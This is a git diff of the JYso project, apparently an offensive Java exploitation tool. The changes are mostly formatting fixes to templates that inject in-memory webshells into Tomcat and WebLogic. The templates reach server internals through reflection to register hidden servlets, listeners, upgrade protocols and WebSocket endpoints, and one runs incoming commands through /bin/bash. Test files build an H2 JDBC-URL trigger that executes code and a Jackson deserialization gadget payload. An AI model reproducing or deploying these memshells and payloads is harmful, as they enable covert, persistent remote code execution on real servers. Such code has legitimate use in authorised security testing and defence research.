1838ccc..5a6e87f 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TLMSFromJMX.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TLMSFromJMX.java @@ -28,7 +28,7 @@ public class TLMSFromJMX implements ServletRequestListener { static { try { MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); - Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); + Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); field.setAccessible(true); Object obj = field.get(mbeanServer); @@ -67,9 +67,9 @@ public class TLMSFromJMX implements ServletRequestListener { public void requestInitialized(ServletRequestEvent servletRequestEvent) { try { RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest(); - Field field = requestFacade.getClass().getDeclaredField("request"); + Field field = requestFacade.getClass().getDeclaredField("request"); field.setAccessible(true); - Request request = (Request) field.get(requestFacade); + Request request = (Request) field.get(requestFacade); Response response = request.getResponse(); requestInitializedHandle(request, response); } catch (Exception ignore) { diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TLMSFromThread.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TLMSFromThread.java index 78ce6d1..aa23e67 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TLMSFromThread.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TLMSFromThread.java @@ -28,8 +28,8 @@ public class TLMSFromThread implements ServletRequestListener { } catch (Exception ignored) { Field field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); field.setAccessible(true); - Object root = field.get(webappClassLoaderBase); - Field field2 = root.getClass().getDeclaredField("context"); + Object root = field.get(webappClassLoaderBase); + Field field2 = root.getClass().getDeclaredField("context"); field2.setAccessible(true); standardContext = (StandardContext) field2.get(root); @@ -50,9 +50,9 @@ public class TLMSFromThread implements ServletRequestListener { public void requestInitialized(ServletRequestEvent servletRequestEvent) { try { RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest(); - Field field = requestFacade.getClass().getDeclaredField("request"); + Field field = requestFacade.getClass().getDeclaredField("request"); field.setAccessible(true); - Request request = (Request) field.get(requestFacade); + Request request = (Request) field.get(requestFacade); Response response = request.getResponse(); requestInitializedHandle(request, response); } catch (Exception ignore) { diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TSMSFromJMX.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TSMSFromJMX.java index cb173c0..043f9d9 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TSMSFromJMX.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TSMSFromJMX.java @@ -28,7 +28,7 @@ public class TSMSFromJMX implements Servlet { static { try { MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); - Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); + Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); field.setAccessible(true); Object obj = field.get(mbeanServer); diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TSMSFromRequest.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TSMSFromRequest.java index 7075935..c205e81 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TSMSFromRequest.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TSMSFromRequest.java @@ -42,7 +42,7 @@ public class TSMSFromRequest implements Servlet { public static void getRequestAndResponse() { try { - boolean flag = false; + boolean flag = false; Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads"); for (int i = 0; i < threads.length; ++i) { @@ -63,7 +63,7 @@ public class TSMSFromRequest implements Servlet { for (int j = 0; j < processors.size(); ++j) { Object processor = processors.get(j); target = getFieldValue(processor, "req"); - Object req = target.getClass().getMethod("getNote", Integer.TYPE).invoke(target, new Integer(1)); + Object req = target.getClass().getMethod("getNote", Integer.TYPE).invoke(target, new Integer(1)); String value = (String) req.getClass().getMethod("getHeader", String.class).invoke(req, new String(HEADER_KEY)); if (value != null && value.contains(HEADER_VALUE)) { request = (HttpServletRequest) req; @@ -112,15 +112,15 @@ public class TSMSFromRequest implements Servlet { public static void addServlet() { try { - ServletContext servletContext = request.getServletContext(); + ServletContext servletContext = request.getServletContext(); ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext; - Field applicationContextField = applicationContextFacade.getClass().getDeclaredField("context"); + Field applicationContextField = applicationContextFacade.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); - ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(applicationContextFacade); - Field standardContextField = applicationContext.getClass().getDeclaredField("context"); + ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(applicationContextFacade); + Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); - Wrapper wrapper = standardContext.createWrapper(); + Wrapper wrapper = standardContext.createWrapper(); wrapper.setName(NAME); standardContext.addChild(wrapper); @@ -148,33 +148,33 @@ public class TSMSFromRequest implements Servlet { public static void transform(Object standardContext, String path) throws Exception { - Object containerBase = getMethodAndInvoke(standardContext, "getParent", null, null); - Class mapperListenerClass = Class.forName("org.apache.catalina.connector.MapperListener", false, containerBase.getClass().getClassLoader()); - Field listenersField = Class.forName("org.apache.catalina.core.ContainerBase", false, containerBase.getClass().getClassLoader()).getDeclaredField("listeners"); + Object containerBase = getMethodAndInvoke(standardContext, "getParent", null, null); + Class mapperListenerClass = Class.forName("org.apache.catalina.connector.MapperListener", false, containerBase.getClass().getClassLoader()); + Field listenersField = Class.forName("org.apache.catalina.core.ContainerBase", false, containerBase.getClass().getClassLoader()).getDeclaredField("listeners"); listenersField.setAccessible(true); ArrayList listeners = (ArrayList) listenersField.get(containerBase); for (int i = 0; i < listeners.size(); ++i) { Object mapperListener_Mapper = listeners.get(i); if (mapperListener_Mapper != null && mapperListenerClass.isAssignableFrom(mapperListener_Mapper.getClass())) { - Object mapperListener_Mapper2 = getFieldValue(mapperListener_Mapper, "mapper"); + Object mapperListener_Mapper2 = getFieldValue(mapperListener_Mapper, "mapper"); Object mapperListener_Mapper_hosts = getFieldValue(mapperListener_Mapper2, "hosts"); for (int j = 0; j < Array.getLength(mapperListener_Mapper_hosts); ++j) { - Object mapperListener_Mapper_host = Array.get(mapperListener_Mapper_hosts, j); - Object mapperListener_Mapper_hosts_contextList = getFieldValue(mapperListener_Mapper_host, "contextList"); + Object mapperListener_Mapper_host = Array.get(mapperListener_Mapper_hosts, j); + Object mapperListener_Mapper_hosts_contextList = getFieldValue(mapperListener_Mapper_host, "contextList"); Object mapperListener_Mapper_hosts_contextList_contexts = getFieldValue(mapperListener_Mapper_hosts_contextList, "contexts"); for (int k = 0; k < Array.getLength(mapperListener_Mapper_hosts_contextList_contexts); ++k) { Object mapperListener_Mapper_hosts_contextList_context = Array.get(mapperListener_Mapper_hosts_contextList_contexts, k); if (standardContext.equals(getFieldValue(mapperListener_Mapper_hosts_contextList_context, "object"))) { new ArrayList(); - Object standardContext_Mapper = getMethodAndInvoke(standardContext, "getMapper", null, null); - Object standardContext_Mapper_Context = getFieldValue(standardContext_Mapper, "context"); - Object standardContext_Mapper_Context_exactWrappers = getFieldValue(standardContext_Mapper_Context, "exactWrappers"); + Object standardContext_Mapper = getMethodAndInvoke(standardContext, "getMapper", null, null); + Object standardContext_Mapper_Context = getFieldValue(standardContext_Mapper, "context"); + Object standardContext_Mapper_Context_exactWrappers = getFieldValue(standardContext_Mapper_Context, "exactWrappers"); Object mapperListener_Mapper_hosts_contextList_context_exactWrappers = getFieldValue(mapperListener_Mapper_hosts_contextList_context, "exactWrappers"); - int l; + int l; Object Mapper_Wrapper; Method addWrapperMethod; for (l = 0; l < Array.getLength(mapperListener_Mapper_hosts_contextList_context_exactWrappers); ++l) { @@ -220,8 +220,8 @@ public class TSMSFromRequest implements Servlet { java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); if (method != null) { - Class clazz = Class.forName("sun.reflect.NativeMethodAccessorImpl"); - java.lang.reflect.Method m = clazz.getDeclaredMethod("invoke0", new Class[]{java.lang.reflect.Method.class, Object.class, Object[].class}); + Class clazz = Class.forName("sun.reflect.NativeMethodAccessorImpl"); + java.lang.reflect.Method m = clazz.getDeclaredMethod("invoke0", new Class[]{java.lang.reflect.Method.class, Object.class, Object[].class}); m.setAccessible(true); return m.invoke(null, new Object[]{method, obj, parameters}); } diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TSMSFromThread.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TSMSFromThread.java index f9a0825..147c38b 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TSMSFromThread.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TSMSFromThread.java @@ -31,8 +31,8 @@ public class TSMSFromThread implements Servlet { } catch (Exception ignored) { Field field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); field.setAccessible(true); - Object root = field.get(webappClassLoaderBase); - Field field2 = root.getClass().getDeclaredField("context"); + Object root = field.get(webappClassLoaderBase); + Field field2 = root.getClass().getDeclaredField("context"); field2.setAccessible(true); standardContext = (StandardContext) field2.get(root); diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TUGMSFromJMX.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TUGMSFromJMX.java index 63be83f..4ddab85 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TUGMSFromJMX.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TUGMSFromJMX.java @@ -26,7 +26,7 @@ public class TUGMSFromJMX implements UpgradeProtocol { static { try { MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); - Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); + Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); field.setAccessible(true); Object obj = field.get(mbeanServer); @@ -37,13 +37,13 @@ public class TUGMSFromJMX implements UpgradeProtocol { Field field1 = repository.getClass().getDeclaredField("domainTb"); field1.setAccessible(true); - HashMap map = (HashMap) field1.get(repository); + HashMap map = (HashMap) field1.get(repository); HashMap catalinaMap = (HashMap) map.get("Catalina"); for (int i = 0; i < catalinaMap.keySet().size(); i++) { Object key = catalinaMap.keySet().toArray()[i]; if (key.toString().contains("type=Connector")) { - NamedObject namedObject = (NamedObject) catalinaMap.get(key); + NamedObject namedObject = (NamedObject) catalinaMap.get(key); DynamicMBean dynamicMBean = namedObject.getObject(); Field field2 = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TWSMSFromThread.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TWSMSFromThread.java index eb9f56a..6edb4cd 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TWSMSFromThread.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TWSMSFromThread.java @@ -24,22 +24,22 @@ public class TWSMSFromThread extends Endpoint implements MessageHandler.Whole static { try { Thread threadLocal = Thread.currentThread(); - Field workEntry = threadLocal.getClass().getDeclaredField("workEntry"); + Field workEntry = threadLocal.getClass().getDeclaredField("workEntry"); workEntry.setAccessible(true); weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor wlsRequestExecutor = (ContainerSupportProviderImpl.WlsRequestExecutor) workEntry.get(threadLocal); - Field field1 = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler"); + Field field1 = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler"); field1.setAccessible(true); weblogic.servlet.internal.HttpConnectionHandler connectionHandler = (HttpConnectionHandler) field1.get(wlsRequestExecutor); - ServletRequestImpl request = connectionHandler.getServletRequest(); - String path = request.getParameter("path"); - ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(WsWeblogic.class, path).build(); - MBeanServer server = ManagementFactory.getPlatformMBeanServer(); - Field field = server.getClass().getDeclaredField("wrappedMBeanServer"); + ServletRequestImpl request = connectionHandler.getServletRequest(); + String path = request.getParameter("path"); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(WsWeblogic.class, path).build(); + MBeanServer server = ManagementFactory.getPlatformMBeanServer(); + Field field = server.getClass().getDeclaredField("wrappedMBeanServer"); field.setAccessible(true); Object obj = field.get(server); field = obj.getClass().getDeclaredField("mbsInterceptor"); @@ -45,7 +45,7 @@ public class WsWeblogic extends Endpoint implements MessageHandler.Whole obj = field.get(obj); field = obj.getClass().getDeclaredField("repository"); field.setAccessible(true); - Repository repository = (Repository) field.get(obj); + Repository repository = (Repository) field.get(obj); Set namedObjects = repository.query(new ObjectName("com.bea:Type=ApplicationRuntime,*"), null); for (NamedObject namedObject : namedObjects) { field = namedObject.getObject().getClass().getDeclaredField("managedResource"); @@ -59,7 +59,7 @@ public class WsWeblogic extends Endpoint implements MessageHandler.Whole field = o.getClass().getDeclaredField("context"); field.setAccessible(true); WebAppServletContext servletContext = (WebAppServletContext) field.get(o); - TyrusServerContainer container = (TyrusServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); + TyrusServerContainer container = (TyrusServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); try { container.register((jakarta.websocket.server.ServerEndpointConfig) configEndpoint); System.out.println("add success,path: " + servletContext.getContextPath() + path); @@ -86,9 +86,9 @@ public class WsWeblogic extends Endpoint implements MessageHandler.Whole } else { process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s}); } - InputStream inputStream = process.getInputStream(); + InputStream inputStream = process.getInputStream(); StringBuilder stringBuilder = new StringBuilder(); - int i; + int i; while ((i = inputStream.read()) != -1) stringBuilder.append((char) i); inputStream.close(); diff --git a/src/test/java/Main.java b/src/test/java/Main.java index 4aa1e19..04f43f1 100644 --- a/src/test/java/Main.java +++ b/src/test/java/Main.java @@ -1,10 +1,9 @@ - public class Main { public static void main(String[] args) { String cmd = "calc"; String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"" + cmd + "\")"; - String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER test BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS '"+ javascript +"'"; + String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER test BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS '" + javascript + "'"; //System.out.println(JDBC_URL); String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;" + diff --git a/src/test/java/com/example/demo/demos/web/Test.java b/src/test/java/com/example/demo/demos/web/Test.java index 3236308..728e18a 100644 --- a/src/test/java/com/example/demo/demos/web/Test.java +++ b/src/test/java/com/example/demo/demos/web/Test.java @@ -8,20 +8,20 @@ import java.util.Base64; public class Test { public static void main(String[] args) throws Exception { - final Class payloadClass = ObjectPayload.Utils.getPayloadClass("jackson4"); - ObjectPayload payload = payloadClass.newInstance(); - Object object = payload.getObject("dir"); //EX-MS-SpringInterceptorMS-gz + final Class payloadClass = ObjectPayload.Utils.getPayloadClass("jackson3"); + ObjectPayload payload = payloadClass.newInstance(); + Object object = payload.getObject("calc"); //EX-MS-SpringInterceptorMS-gz secCig rootObj = new secCig(); rootObj.setMessage("qi4l"); rootObj.setSecObject(object); ByteArrayOutputStream baos = new ByteArrayOutputStream(); - ObjectOutputStream oos = new ObjectOutputStream(baos); + ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(rootObj); oos.close(); - byte[] payloadBytes = baos.toByteArray(); + byte[] payloadBytes = baos.toByteArray(); String base64Payload = Base64.getEncoder().encodeToString(payloadBytes); System.out.println(base64Payload); }